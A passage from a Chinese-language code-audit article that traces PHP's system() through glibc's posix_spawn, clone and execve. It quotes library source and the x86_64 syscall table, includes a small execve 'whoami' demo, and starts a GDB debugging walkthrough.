void *stack = __mmap (NULL, stack_size, prot,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
if (__glibc_unlikely (stack == MAP_FAILED))
return errno;
/* Disable asynchronous cancellation. */
int state;
__libc_ptf_call (__pthread_setcancelstate,
(PTHREAD_CANCEL_DISABLE, &state), 0);
/* Child must set args.err to something non-negative - we rely on
the parent and child sharing VM. */
args.err = 0;
args.file = file;
args.exec = exec;
args.fa = file_actions;
args.attr = attrp ? attrp : &(const posix_spawnattr_t) { 0 };
args.argv = argv;
args.argc = argc;
args.envp = envp;
args.xflags = xflags;
__libc_signal_block_all (&args.oldmask);
/* The clone flags used will create a new child that will run in the same
memory space (CLONE_VM) and the execution of calling thread will be
suspend until the child calls execve or _exit.
Also since the calling thread execution will be suspend, there is not
need for CLONE_SETTLS. Although parent and child share the same TLS
namespace, there will be no concurrent access for TLS variables (errno
for instance). */
new_pid = CLONE (__spawni_child, STACK (stack, stack_size), stack_size,
CLONE_VM | CLONE_VFORK | SIGCHLD, &args);
/* It needs to collect the case where the auxiliary process was created
but failed to execute the file (due either any preparation step or
for execve itself). */
if (new_pid > 0)
{
/* Also, it handles the unlikely case where the auxiliary process was
terminated before calling execve as if it was successfully. The
args.err is set to 0 as default and changed to a positive value
only in case of failure, so in case of premature termination
due a signal args.err will remain zeroed and it will be up to
caller to actually collect it. */
ec = args.err;
if (ec > 0)
/* There still an unlikely case where the child is cancelled after
setting args.err, due to a positive error value. Also there is
possible pid reuse race (where the kernel allocated the same pid
to an unrelated process). Unfortunately due synchronization
issues where the kernel might not have the process collected
the waitpid below can not use WNOHANG. */
__waitpid (new_pid, NULL, 0);
}
else
ec = -new_pid;
__munmap (stack, stack_size);
if ((ec == 0) && (pid != NULL))
*pid = new_pid;
__libc_signal_restore_set (&args.oldmask);
__libc_ptf_call (__pthread_setcancelstate, (state, NULL), 0);
return ec;
}
忽略`__spawnix()`函数内部变量处理外，核心代码在于调用`CLONE()`函数，作用为克隆父进程以创建新的子进程。
/* The clone flags used will create a new child that will run in the same
memory space (CLONE_VM) and the execution of calling thread will be
suspend until the child calls execve or _exit.
Also since the calling thread execution will be suspend, there is not
need for CLONE_SETTLS. Although parent and child share the same TLS
namespace, there will be no concurrent access for TLS variables (errno
for instance). */
new_pid = CLONE (__spawni_child, STACK (stack, stack_size), stack_size,
CLONE_VM | CLONE_VFORK | SIGCHLD, &args);
`CLONE()`函数实现通常位于`sysdeps\unix\sysv\linux\平台架构(arm、i386、x86、x86_64等)\clone.S`汇编代码文件中。
由于这里测试的平台为`x86_64`，所以`CLONE()`函数实现位置为：`sysdeps\unix\sysv\linux\x86_64\clone.S`
/* Copyright (C) 2001-2020 Free Software Foundation, Inc.
This file is part of the GNU C Library.
The GNU C Library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
The GNU C Library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with the GNU C Library; if not, see
<https://www.gnu.org/licenses/>. */
/* clone() is even more special than fork() as it mucks with stacks
and invokes a function in the right context after its all over. */
#include <sysdep.h>
#define _ERRNO_H 1
#include <bits/errno.h>
#include <asm-syntax.h>
/* The userland implementation is:
int clone (int (*fn)(void *arg), void *child_stack, int flags, void *arg),
the kernel entry is:
int clone (long flags, void *child_stack).
The parameters are passed in register and on the stack from userland:
rdi: fn
rsi: child_stack
rdx: flags
rcx: arg
r8d: TID field in parent
r9d: thread pointer
%esp+8: TID field in child
The kernel expects:
rax: system call number
rdi: flags
rsi: child_stack
rdx: TID field in parent
r10: TID field in child
r8: thread pointer */
.text
ENTRY (__clone)
/* Sanity check arguments. */
movq $-EINVAL,%rax
testq %rdi,%rdi /* no NULL function pointers */
jz SYSCALL_ERROR_LABEL
testq %rsi,%rsi /* no NULL stack pointers */
jz SYSCALL_ERROR_LABEL
/* Insert the argument onto the new stack. */
subq $16,%rsi
movq %rcx,8(%rsi)
/* Save the function pointer. It will be popped off in the
child in the ebx frobbing below. */
movq %rdi,0(%rsi)
/* Do the system call. */
movq %rdx, %rdi
movq %r8, %rdx
movq %r9, %r8
mov 8(%rsp), %R10_LP
movl $SYS_ify(clone),%eax
/* End FDE now, because in the child the unwind info will be
wrong. */
cfi_endproc;
syscall
testq %rax,%rax
jl SYSCALL_ERROR_LABEL
jz L(thread_start)
ret
L(thread_start):
cfi_startproc;
/* Clearing frame pointer is insufficient, use CFI. */
cfi_undefined (rip);
/* Clear the frame pointer. The ABI suggests this be done, to mark
the outermost frame obviously. */
xorl %ebp, %ebp
/* Set up arguments for the function call. */
popq %rax /* Function to call. */
popq %rdi /* Argument. */
call *%rax
/* Call exit with return value from function call. */
movq %rax, %rdi
movl $SYS_ify(exit), %eax
syscall
cfi_endproc;
cfi_startproc;
PSEUDO_END (__clone)
libc_hidden_def (__clone)
weak_alias (__clone, clone)
审计`CLONE()`函数实现的`clone.S`汇编代码，由`weak_alias (__clone,
clone)`可知，`clone()`函数别名为`__clone()`函数。
跟进分析`__clone()`函数的实现
ENTRY (__clone)
/* Sanity check arguments. */
movq $-EINVAL,%rax
testq %rdi,%rdi /* no NULL function pointers */
jz SYSCALL_ERROR_LABEL
testq %rsi,%rsi /* no NULL stack pointers */
jz SYSCALL_ERROR_LABEL
/* Insert the argument onto the new stack. */
subq $16,%rsi
movq %rcx,8(%rsi)
/* Save the function pointer. It will be popped off in the
child in the ebx frobbing below. */
movq %rdi,0(%rsi)
/* Do the system call. */
movq %rdx, %rdi
movq %r8, %rdx
movq %r9, %r8
mov 8(%rsp), %R10_LP
movl $SYS_ify(clone),%eax
/* End FDE now, because in the child the unwind info will be
wrong. */
cfi_endproc;
syscall
testq %rax,%rax
jl SYSCALL_ERROR_LABEL
jz L(thread_start)
ret
`__clone()`函数核心代码为系统调用部分
/* Do the system call. */
movq %rdx, %rdi
movq %r8, %rdx
movq %r9, %r8
mov 8(%rsp), %R10_LP
movl $SYS_ify(clone),%eax
/* End FDE now, because in the child the unwind info will be
wrong. */
cfi_endproc;
syscall
事实上这里`clone()`函数是一个系统调用函数，内核入口为`sys_clone()`，系统调用号为`0x38`，主要作用是创建子进程：克隆父进程。
有关Linux下系统调用号的查询，根据不同平台查看不同文件：unistd.h（x86）、unistd_64.h（x86_64），针对该Linux系统平台存储在：`/usr/include/x86_64-linux-gnu/asm/unistd_64.h`
#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
#define __NR_lstat 6
#define __NR_poll 7
#define __NR_lseek 8
#define __NR_mmap 9
#define __NR_mprotect 10
#define __NR_munmap 11
#define __NR_brk 12
#define __NR_rt_sigaction 13
#define __NR_rt_sigprocmask 14
#define __NR_rt_sigreturn 15
#define __NR_ioctl 16
#define __NR_pread64 17
#define __NR_pwrite64 18
#define __NR_readv 19
#define __NR_writev 20
#define __NR_access 21
#define __NR_pipe 22
#define __NR_select 23
#define __NR_sched_yield 24
#define __NR_mremap 25
#define __NR_msync 26
#define __NR_mincore 27
#define __NR_madvise 28
#define __NR_shmget 29
#define __NR_shmat 30
#define __NR_shmctl 31
#define __NR_dup 32
#define __NR_dup2 33
#define __NR_pause 34
#define __NR_nanosleep 35
#define __NR_getitimer 36
#define __NR_alarm 37
#define __NR_setitimer 38
#define __NR_getpid 39
#define __NR_sendfile 40
#define __NR_socket 41
#define __NR_connect 42
#define __NR_accept 43
#define __NR_sendto 44
#define __NR_recvfrom 45
#define __NR_sendmsg 46
#define __NR_recvmsg 47
#define __NR_shutdown 48
#define __NR_bind 49
#define __NR_listen 50
#define __NR_getsockname 51
#define __NR_getpeername 52
#define __NR_socketpair 53
#define __NR_setsockopt 54
#define __NR_getsockopt 55
#define __NR_clone 56
#define __NR_fork 57
#define __NR_vfork 58
#define __NR_execve 59
#define __NR_exit 60
#define __NR_wait4 61
#define __NR_kill 62
#define __NR_uname 63
#define __NR_semget 64
#define __NR_semop 65
#define __NR_semctl 66
#define __NR_shmdt 67
#define __NR_msgget 68
#define __NR_msgsnd 69
#define __NR_msgrcv 70
#define __NR_msgctl 71
#define __NR_fcntl 72
#define __NR_flock 73
#define __NR_fsync 74
#define __NR_fdatasync 75
#define __NR_truncate 76
#define __NR_ftruncate 77
#define __NR_getdents 78
#define __NR_getcwd 79
#define __NR_chdir 80
#define __NR_fchdir 81
#define __NR_rename 82
#define __NR_mkdir 83
#define __NR_rmdir 84
#define __NR_creat 85
#define __NR_link 86
#define __NR_unlink 87
#define __NR_symlink 88
#define __NR_readlink 89
#define __NR_chmod 90
#define __NR_fchmod 91
#define __NR_chown 92
#define __NR_fchown 93
#define __NR_lchown 94
#define __NR_umask 95
#define __NR_gettimeofday 96
#define __NR_getrlimit 97
#define __NR_getrusage 98
#define __NR_sysinfo 99
#define __NR_times 100
#define __NR_ptrace 101
#define __NR_getuid 102
#define __NR_syslog 103
#define __NR_getgid 104
#define __NR_setuid 105
#define __NR_setgid 106
#define __NR_geteuid 107
#define __NR_getegid 108
#define __NR_setpgid 109
#define __NR_getppid 110
#define __NR_getpgrp 111
#define __NR_setsid 112
#define __NR_setreuid 113
#define __NR_setregid 114
#define __NR_getgroups 115
#define __NR_setgroups 116
#define __NR_setresuid 117
#define __NR_getresuid 118
#define __NR_setresgid 119
#define __NR_getresgid 120
#define __NR_getpgid 121
#define __NR_setfsuid 122
#define __NR_setfsgid 123
#define __NR_getsid 124
#define __NR_capget 125
#define __NR_capset 126
#define __NR_rt_sigpending 127
#define __NR_rt_sigtimedwait 128
#define __NR_rt_sigqueueinfo 129
#define __NR_rt_sigsuspend 130
#define __NR_sigaltstack 131
#define __NR_utime 132
#define __NR_mknod 133
#define __NR_uselib 134
#define __NR_personality 135
#define __NR_ustat 136
#define __NR_statfs 137
#define __NR_fstatfs 138
#define __NR_sysfs 139
#define __NR_getpriority 140
#define __NR_setpriority 141
#define __NR_sched_setparam 142
#define __NR_sched_getparam 143
#define __NR_sched_setscheduler 144
#define __NR_sched_getscheduler 145
#define __NR_sched_get_priority_max 146
#define __NR_sched_get_priority_min 147
#define __NR_sched_rr_get_interval 148
#define __NR_mlock 149
#define __NR_munlock 150
#define __NR_mlockall 151
#define __NR_munlockall 152
#define __NR_vhangup 153
#define __NR_modify_ldt 154
#define __NR_pivot_root 155
#define __NR__sysctl 156
#define __NR_prctl 157
#define __NR_arch_prctl 158
#define __NR_adjtimex 159
#define __NR_setrlimit 160
#define __NR_chroot 161
#define __NR_sync 162
#define __NR_acct 163
#define __NR_settimeofday 164
#define __NR_mount 165
#define __NR_umount2 166
#define __NR_swapon 167
#define __NR_swapoff 168
#define __NR_reboot 169
#define __NR_sethostname 170
#define __NR_setdomainname 171
#define __NR_iopl 172
#define __NR_ioperm 173
#define __NR_create_module 174
#define __NR_init_module 175
#define __NR_delete_module 176
#define __NR_get_kernel_syms 177
#define __NR_query_module 178
#define __NR_quotactl 179
#define __NR_nfsservctl 180
#define __NR_getpmsg 181
#define __NR_putpmsg 182
#define __NR_afs_syscall 183
#define __NR_tuxcall 184
#define __NR_security 185
#define __NR_gettid 186
#define __NR_readahead 187
#define __NR_setxattr 188
#define __NR_lsetxattr 189
#define __NR_fsetxattr 190
#define __NR_getxattr 191
#define __NR_lgetxattr 192
#define __NR_fgetxattr 193
#define __NR_listxattr 194
#define __NR_llistxattr 195
#define __NR_flistxattr 196
#define __NR_removexattr 197
#define __NR_lremovexattr 198
#define __NR_fremovexattr 199
#define __NR_tkill 200
#define __NR_time 201
#define __NR_futex 202
#define __NR_sched_setaffinity 203
#define __NR_sched_getaffinity 204
#define __NR_set_thread_area 205
#define __NR_io_setup 206
#define __NR_io_destroy 207
#define __NR_io_getevents 208
#define __NR_io_submit 209
#define __NR_io_cancel 210
#define __NR_get_thread_area 211
#define __NR_lookup_dcookie 212
#define __NR_epoll_create 213
#define __NR_epoll_ctl_old 214
#define __NR_epoll_wait_old 215
#define __NR_remap_file_pages 216
#define __NR_getdents64 217
#define __NR_set_tid_address 218
#define __NR_restart_syscall 219
#define __NR_semtimedop 220
#define __NR_fadvise64 221
#define __NR_timer_create 222
#define __NR_timer_settime 223
#define __NR_timer_gettime 224
#define __NR_timer_getoverrun 225
#define __NR_timer_delete 226
#define __NR_clock_settime 227
#define __NR_clock_gettime 228
#define __NR_clock_getres 229
#define __NR_clock_nanosleep 230
#define __NR_exit_group 231
#define __NR_epoll_wait 232
#define __NR_epoll_ctl 233
#define __NR_tgkill 234
#define __NR_utimes 235
#define __NR_vserver 236
#define __NR_mbind 237
#define __NR_set_mempolicy 238
#define __NR_get_mempolicy 239
#define __NR_mq_open 240
#define __NR_mq_unlink 241
#define __NR_mq_timedsend 242
#define __NR_mq_timedreceive 243
#define __NR_mq_notify 244
#define __NR_mq_getsetattr 245
#define __NR_kexec_load 246
#define __NR_waitid 247
#define __NR_add_key 248
#define __NR_request_key 249
#define __NR_keyctl 250
#define __NR_ioprio_set 251
#define __NR_ioprio_get 252
#define __NR_inotify_init 253
#define __NR_inotify_add_watch 254
#define __NR_inotify_rm_watch 255
#define __NR_migrate_pages 256
#define __NR_openat 257
#define __NR_mkdirat 258
#define __NR_mknodat 259
#define __NR_fchownat 260
#define __NR_futimesat 261
#define __NR_newfstatat 262
#define __NR_unlinkat 263
#define __NR_renameat 264
#define __NR_linkat 265
#define __NR_symlinkat 266
#define __NR_readlinkat 267
#define __NR_fchmodat 268
#define __NR_faccessat 269
#define __NR_pselect6 270
#define __NR_ppoll 271
#define __NR_unshare 272
#define __NR_set_robust_list 273
#define __NR_get_robust_list 274
#define __NR_splice 275
#define __NR_tee 276
#define __NR_sync_file_range 277
#define __NR_vmsplice 278
#define __NR_move_pages 279
#define __NR_utimensat 280
#define __NR_epoll_pwait 281
#define __NR_signalfd 282
#define __NR_timerfd_create 283
#define __NR_eventfd 284
#define __NR_fallocate 285
#define __NR_timerfd_settime 286
#define __NR_timerfd_gettime 287
#define __NR_accept4 288
#define __NR_signalfd4 289
#define __NR_eventfd2 290
#define __NR_epoll_create1 291
#define __NR_dup3 292
#define __NR_pipe2 293
#define __NR_inotify_init1 294
#define __NR_preadv 295
#define __NR_pwritev 296
#define __NR_rt_tgsigqueueinfo 297
#define __NR_perf_event_open 298
#define __NR_recvmmsg 299
#define __NR_fanotify_init 300
#define __NR_fanotify_mark 301
#define __NR_prlimit64 302
#define __NR_name_to_handle_at 303
#define __NR_open_by_handle_at 304
#define __NR_clock_adjtime 305
#define __NR_syncfs 306
#define __NR_sendmmsg 307
#define __NR_setns 308
#define __NR_getcpu 309
#define __NR_process_vm_readv 310
#define __NR_process_vm_writev 311
#define __NR_kcmp 312
#define __NR_finit_module 313
#define __NR_sched_setattr 314
#define __NR_sched_getattr 315
#define __NR_renameat2 316
#define __NR_seccomp 317
#define __NR_getrandom 318
#define __NR_memfd_create 319
#define __NR_kexec_file_load 320
#define __NR_bpf 321
#define __NR_execveat 322
#define __NR_userfaultfd 323
#define __NR_membarrier 324
#define __NR_mlock2 325
#define __NR_copy_file_range 326
#define __NR_preadv2 327
#define __NR_pwritev2 328
#define __NR_pkey_mprotect 329
#define __NR_pkey_alloc 330
#define __NR_pkey_free 331
#define __NR_statx 332
#define __NR_io_pgetevents 333
#define __NR_rseq 334
#define __NR_pidfd_send_signal 424
#define __NR_io_uring_setup 425
#define __NR_io_uring_enter 426
#define __NR_io_uring_register 427
#define __NR_open_tree 428
#define __NR_move_mount 429
#define __NR_fsopen 430
#define __NR_fsconfig 431
#define __NR_fsmount 432
#define __NR_fspick 433
#define __NR_pidfd_open 434
#define __NR_clone3 435
#define __NR_close_range 436
#define __NR_openat2 437
#define __NR_pidfd_getfd 438
#define __NR_faccessat2 439
#endif /* _ASM_X86_UNISTD_64_H */
或者通过在线平台进行查询：[各种平台下的系统调用号](https://fedora.juszkiewicz.com.pl/syscalls.html)
这里系统调用之后仅仅是克隆了一个父进程，要想将一个子进程正真启动起来，还需要去调用`__spawni_child()`函数。
/* Set up arguments for the function call. */
popq %rax /* Function to call. */
popq %rdi /* Argument. */
call *%rax
/* Call exit with return value from function call. */
movq %rax, %rdi
movl $SYS_ify(exit), %eax
syscall
cfi_endproc;
这里`L(thread_start):`中的call指令会调用最初CLONE()函数的第一个参数：`__spawni_child()`函数。
定位`__spawni_child()`函数的实现：`sysdeps\unix\sysv\linux\spawni.c:121`
/* Function used in the clone call to setup the signals mask, posix_spawn
attributes, and file actions. It run on its own stack (provided by the
posix_spawn call). */
static int
__spawni_child (void *arguments)
{
struct posix_spawn_args *args = arguments;
const posix_spawnattr_t *restrict attr = args->attr;
const posix_spawn_file_actions_t *file_actions = args->fa;
/* The child must ensure that no signal handler are enabled because it shared
memory with parent, so the signal disposition must be either SIG_DFL or
SIG_IGN. It does by iterating over all signals and although it could
possibly be more optimized (by tracking which signal potentially have a
signal handler), it might requires system specific solutions (since the
sigset_t data type can be very different on different architectures). */
struct sigaction sa;
memset (&sa, '\0', sizeof (sa));
sigset_t hset;
__sigprocmask (SIG_BLOCK, 0, &hset);
for (int sig = 1; sig < _NSIG; ++sig)
{
if ((attr->__flags & POSIX_SPAWN_SETSIGDEF)
&& __sigismember (&attr->__sd, sig))
{
sa.sa_handler = SIG_DFL;
}
else if (__sigismember (&hset, sig))
{
if (__is_internal_signal (sig))
sa.sa_handler = SIG_IGN;
else
{
__libc_sigaction (sig, 0, &sa);
if (sa.sa_handler == SIG_IGN)
continue;
sa.sa_handler = SIG_DFL;
}
}
else
continue;
__libc_sigaction (sig, &sa, 0);
}
#ifdef _POSIX_PRIORITY_SCHEDULING
/* Set the scheduling algorithm and parameters. */
if ((attr->__flags & (POSIX_SPAWN_SETSCHEDPARAM | POSIX_SPAWN_SETSCHEDULER))
== POSIX_SPAWN_SETSCHEDPARAM)
{
if (__sched_setparam (0, &attr->__sp) == -1)
goto fail;
}
else if ((attr->__flags & POSIX_SPAWN_SETSCHEDULER) != 0)
{
if (__sched_setscheduler (0, attr->__policy, &attr->__sp) == -1)
goto fail;
}
#endif
if ((attr->__flags & POSIX_SPAWN_SETSID) != 0
&& __setsid () < 0)
goto fail;
/* Set the process group ID. */
if ((attr->__flags & POSIX_SPAWN_SETPGROUP) != 0
&& __setpgid (0, attr->__pgrp) != 0)
goto fail;
/* Set the effective user and group IDs. */
if ((attr->__flags & POSIX_SPAWN_RESETIDS) != 0
&& (local_seteuid (__getuid ()) != 0
|| local_setegid (__getgid ()) != 0))
goto fail;
/* Execute the file actions. */
if (file_actions != 0)
{
int cnt;
struct rlimit64 fdlimit;
bool have_fdlimit = false;
for (cnt = 0; cnt < file_actions->__used; ++cnt)
{
struct __spawn_action *action = &file_actions->__actions[cnt];
switch (action->tag)
{
case spawn_do_close:
if (__close_nocancel (action->action.close_action.fd) != 0)
{
if (!have_fdlimit)
{
__getrlimit64 (RLIMIT_NOFILE, &fdlimit);
have_fdlimit = true;
}
/* Signal errors only for file descriptors out of range. */
if (action->action.close_action.fd < 0
|| action->action.close_action.fd >= fdlimit.rlim_cur)
goto fail;
}
break;
case spawn_do_open:
{
/* POSIX states that if fildes was already an open file descriptor,
it shall be closed before the new file is opened. This avoid
pontential issues when posix_spawn plus addopen action is called
with the process already at maximum number of file descriptor
opened and also for multiple actions on single-open special
paths (like /dev/watchdog). */
__close_nocancel (action->action.open_action.fd);
int ret = __open_nocancel (action->action.open_action.path,
action->action.
open_action.oflag | O_LARGEFILE,
action->action.open_action.mode);
if (ret == -1)
goto fail;
int new_fd = ret;
/* Make sure the desired file descriptor is used. */
if (ret != action->action.open_action.fd)
{
if (__dup2 (new_fd, action->action.open_action.fd)
!= action->action.open_action.fd)
goto fail;
if (__close_nocancel (new_fd) != 0)
goto fail;
}
}
break;
case spawn_do_dup2:
/* Austin Group issue #411 requires adddup2 action with source
and destination being equal to remove close-on-exec flag. */
if (action->action.dup2_action.fd
== action->action.dup2_action.newfd)
{
int fd = action->action.dup2_action.newfd;
int flags = __fcntl (fd, F_GETFD, 0);
if (flags == -1)
goto fail;
if (__fcntl (fd, F_SETFD, flags & ~FD_CLOEXEC) == -1)
goto fail;
}
else if (__dup2 (action->action.dup2_action.fd,
action->action.dup2_action.newfd)
!= action->action.dup2_action.newfd)
goto fail;
break;
case spawn_do_chdir:
if (__chdir (action->action.chdir_action.path) != 0)
goto fail;
break;
case spawn_do_fchdir:
if (__fchdir (action->action.fchdir_action.fd) != 0)
goto fail;
break;
}
}
}
/* Set the initial signal mask of the child if POSIX_SPAWN_SETSIGMASK
is set, otherwise restore the previous one. */
__sigprocmask (SIG_SETMASK, (attr->__flags & POSIX_SPAWN_SETSIGMASK)
? &attr->__ss : &args->oldmask, 0);
args->exec (args->file, args->argv, args->envp);
/* This is compatibility function required to enable posix_spawn run
script without shebang definition for older posix_spawn versions
(2.15). */
maybe_script_execute (args);
fail:
/* errno should have an appropriate non-zero value; otherwise,
there's a bug in glibc or the kernel. For lack of an error code
(EINTERNALBUG) describing that, use ECHILD. Another option would
be to set args->err to some negative sentinel and have the parent
abort(), but that seems needlessly harsh. */
args->err = errno ? : ECHILD;
_exit (SPAWN_ERROR);
}
审计`__spawni_child()`函数，核心代码位于
args->exec (args->file, args->argv, args->envp);
该部分为动态函数调用，那么`args->exec`为什么呢，回头向上追溯该值的传递过程：首先`__spawni_child (void
*arguments)`中`arguments`的参数由`clone()`函数传递
new_pid = CLONE (__spawni_child, STACK (stack, stack_size), stack_size,
CLONE_VM | CLONE_VFORK | SIGCHLD, &args);
而`CLONE()`中的`args`参数由`__spawnix()`函数传递
__spawnix (pid_t * pid, const char *file,
const posix_spawn_file_actions_t * file_actions,
const posix_spawnattr_t * attrp, char *const argv[],
char *const envp[], int xflags,
int (*exec) (const char *, char *const *, char *const *)){
、、、、、
args.err = 0;
args.file = file;
args.exec = exec;
args.fa = file_actions;
args.attr = attrp ? attrp : &(const posix_spawnattr_t) { 0 };
args.argv = argv;
args.argc = argc;
args.envp = envp;
args.xflags = xflags;
、、、、、、
new_pid = CLONE (__spawni_child, STACK (stack, stack_size), stack_size,CLONE_VM | CLONE_VFORK | SIGCHLD, &args);
}
在`__spawnix()`函数参数中发现`exec`参数，继续向上追溯到`__spawni()`的函数调用
__spawni (pid_t * pid, const char *file,
const posix_spawn_file_actions_t * acts,
const posix_spawnattr_t * attrp, char *const argv[],
char *const envp[], int xflags)
{
/* It uses __execvpex to avoid run ENOEXEC in non compatibility mode (it
will be handled by maybe_script_execute). */
return __spawnix (pid, file, acts, attrp, argv, envp, xflags,
xflags & SPAWN_XFLAGS_USE_PATH ? __execvpex :__execve);
}
在`__spawni()`函数调用`__spawnix()`函数的传参过程中，可追溯到exec的参数值，其值由一个三目运算表达式来决定
xflags & SPAWN_XFLAGS_USE_PATH ? __execvpex :__execve
表达式的核心在于：`与`运算，所以分别追溯`xflags` 与 `SPAWN_XFLAGS_USE_PATH`的参数值。
追溯`xflags`：`__spawni()`函数由`__posix_spawn()`函数传参调用，得到`xflags`参数的值为`0`
__posix_spawn (pid_t *pid, const char *path,
const posix_spawn_file_actions_t *file_actions,
const posix_spawnattr_t *attrp, char *const argv[],
char *const envp[])
{
return __spawni (pid, path, file_actions, attrp, argv, envp, 0);
}
追溯`SPAWN_XFLAGS_USE_PATH`：`SPAWN_XFLAGS_USE_PATH`参数的预定义位于：`posix\spawn_int.h:66`
#define SPAWN_XFLAGS_USE_PATH 0x1
知道两个参数值后：与运算的结果为0，exec参数赋值为`__execve()`。
继续回到上面动态调用部分，可知`__spawni_child()`函数实现会调用`__execve()`函数
args->exec (args->file, args->argv, args->envp);
`__execve()`函数为`execve()`函数的别名
weak_alias (__execve, execve)
此时`execve()`函数接收的参数：file为`/bin/sh`、argv为`sh -c whoami`。
`execve()`函数主要用于创建进程，第一个参数为要启动的程序完整路径，第二个参数为要执行的程序指令。当`execve()`函数把`/bin/sh`进程启动起来后，然后由`sh`来执行系统指令(内部|外部)，即可完成PHP命令执行函数的整个调用过程。
事实上这里`execve()`函数为系统调用函数，内核入口为`sys_execve()`，系统调用号为`0x3b`，而在C语言的程序库中则又在此基础上向应用程序提供一整套的库函数，包括execl()、execle()、execlp()、execv()、execve()和execvp()。
在Linux
C语言编程里面常用exec()函数族来启动程序进程：execl、execle、execlp、execv、execve和execvp函数，exec()函数族的6个成员函数语法如下：
所需头文件 | 函数说明 | 函数原型 | 函数返回值
---|---|---|---
`#include <unistd.h>` | 执行程序 | `int execl(const char *pathname, const char
*arg, ..., (char *)0)`<br/>`int execv(const char *pathname, char *const
argv[])`<br/>`int execle(const char *pathname, const char *arg, ..., (char
*)0, char *const envp[])`<br>`int execve(const char *pathname, char *const
argv[], char *const envp[])`<br/>`int execlp(const char *filename, const char
*arg, ..., (char *)0)`<br/>`int execvp(const char *filename, char *const
argv[])` | 成功：函数不会返回<br/>出错：返回-1，失败原因记录在error中
这里以`execve()`函数为例简单编写一个Demo进行演示：CommandExec1.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[], char *env[])
{
char *argvs[] = {"sh", "-c", "whoami"};
execve("/bin/sh", argvs, env);
return 0;
}
编译运行
┌──(root💀toor)-[~/桌面/CodeDebug/c]
└─# gcc CommandExec1.c -o CommandExec1
┌──(root💀toor)-[~/桌面/CodeDebug/c]
└─# ./CommandExec1
root
┌──(root💀toor)-[~/桌面/CodeDebug/c]
└─#
同理，按照上述整个审计思路，可整理出PHP常见命令执行函数在Linux平台下的底层调用链
#### 动态审计
除了枯燥静态审计PHP内核源码外，还可以使用更加直观的动态审计方式去动态审计PHP命令执行函数的实现原理与底层调用过程。
这里使用的调试工具为：`Visual Studio
Code`、`GDB`，针对PHP内核源码的调试，VSCode动态调试原理使用的是GDB调试器，可以理解为使用图形化界面去操作GDB来调试；而GDB调试器为纯命令行调试工具，其调试原理为通过一个`ptrace()`系统调用函数`SYS_ptrace()`来完成，系统调用号为`0x65`。
由于动态调试PHP内核源码会调用到Glibc库，所以我们也需要对Glibc进行源码调试，然而我们使用的是系统自带的Glibc。那怎么才能调试Glibc呢，比较麻烦的是以调试模式编译一份Glibc，不过我们不必这么麻烦。其实有一种很简单的方法，下载和系统Glibc相同版本的源码项目，然后在GDB配置文件中声明Glibc的源码目录，之后就可以在PHP内核源码动态调试过程中对Glibc源码进行断点调试。
这里测试的Linux系统Glibc版本为2.31，所以下载配置`glibc-2.31`源码项目即可，下面是我使用的GDB配置信息：
└─# cat ~/.gdbinit
#source /mnt/hgfs/QSec/Binary/PWN/Tools/GDB/peda/peda.py
source /mnt/hgfs/QSec/Binary/PWN/Tools/GDB/pwndbg/gdbinit.py
#source /mnt/hgfs/QSec/Binary/PWN/Tools/GDB/gef/gdbinit-gef.py
directory /mnt/hgfs/QSec/Code-Audit/glibc/glibc-2.31/
**Visual Studio Code**
由于VSCode相比GDB调试简单，所以这里直接给出一些关键断点，然后给出动态调试命令执行函数的底层实现调用链。具体动态调试过程会在下面GDB调试部分叙述。
关键断点：`BreakPoints`
程序完整的调用栈：`CallStack`，程序入口到底层调用
**GDB**
启动GDB调试，加载程序
└─# gdb --args ./php -r "system('whoami');" 1 ⚙
GNU gdb (Debian 10.1-1+b1) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 188 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./php...
pwndbg>
开始运行到主函数入口
pwndbg> start
`system()`在PHP内核源码实现：
/* {{{ proto int system(string command [, int &return_value])
Execute an external program and display output */
PHP_FUNCTION(system)
{
php_exec_ex(INTERNAL_FUNCTION_PARAM_PASSTHRU, 1);
}
/* }}} */
首次，对`php_exec_ex()`函数下断点
pwndbg> b php_exec_ex
Breakpoint 2 at 0x5555557a4942: file /mnt/hgfs/QSec/Code-Audit/PHP/PHP-Source-Code/php-7.2.9-linux-debug/ext/standard/exec.c, line 213.
pwndbg>
运行至断点处：`php_exec_ex()`函数实现
pwndbg> c
查看`php_exec_ex()`函数源码
pwndbg> l 209,248
209 static void php_exec_ex(INTERNAL_FUNCTION_PARAMETERS, int mode)
210 {
211 char *cmd;
212 size_t cmd_len;
213 zval *ret_code=NULL, *ret_array=NULL;
214 int ret;
215
216 ZEND_PARSE_PARAMETERS_START(1, (mode ? 2 : 3))
217 Z_PARAM_STRING(cmd, cmd_len)
218 Z_PARAM_OPTIONAL
219 if (!mode) {
220 Z_PARAM_ZVAL_DEREF(ret_array)
221 }
222 Z_PARAM_ZVAL_DEREF(ret_code)
223 ZEND_PARSE_PARAMETERS_END_EX(RETURN_FALSE);
224
225 if (!cmd_len) {
226 php_error_docref(NULL, E_WARNING, "Cannot execute a blank command");
227 RETURN_FALSE;
228 }
229 if (strlen(cmd) != cmd_len) {
230 php_error_docref(NULL, E_WARNING, "NULL byte detected. Possible attack");
231 RETURN_FALSE;
232 }
233
234 if (!ret_array) {
235 ret = php_exec(mode, cmd, NULL, return_value);
236 } else {
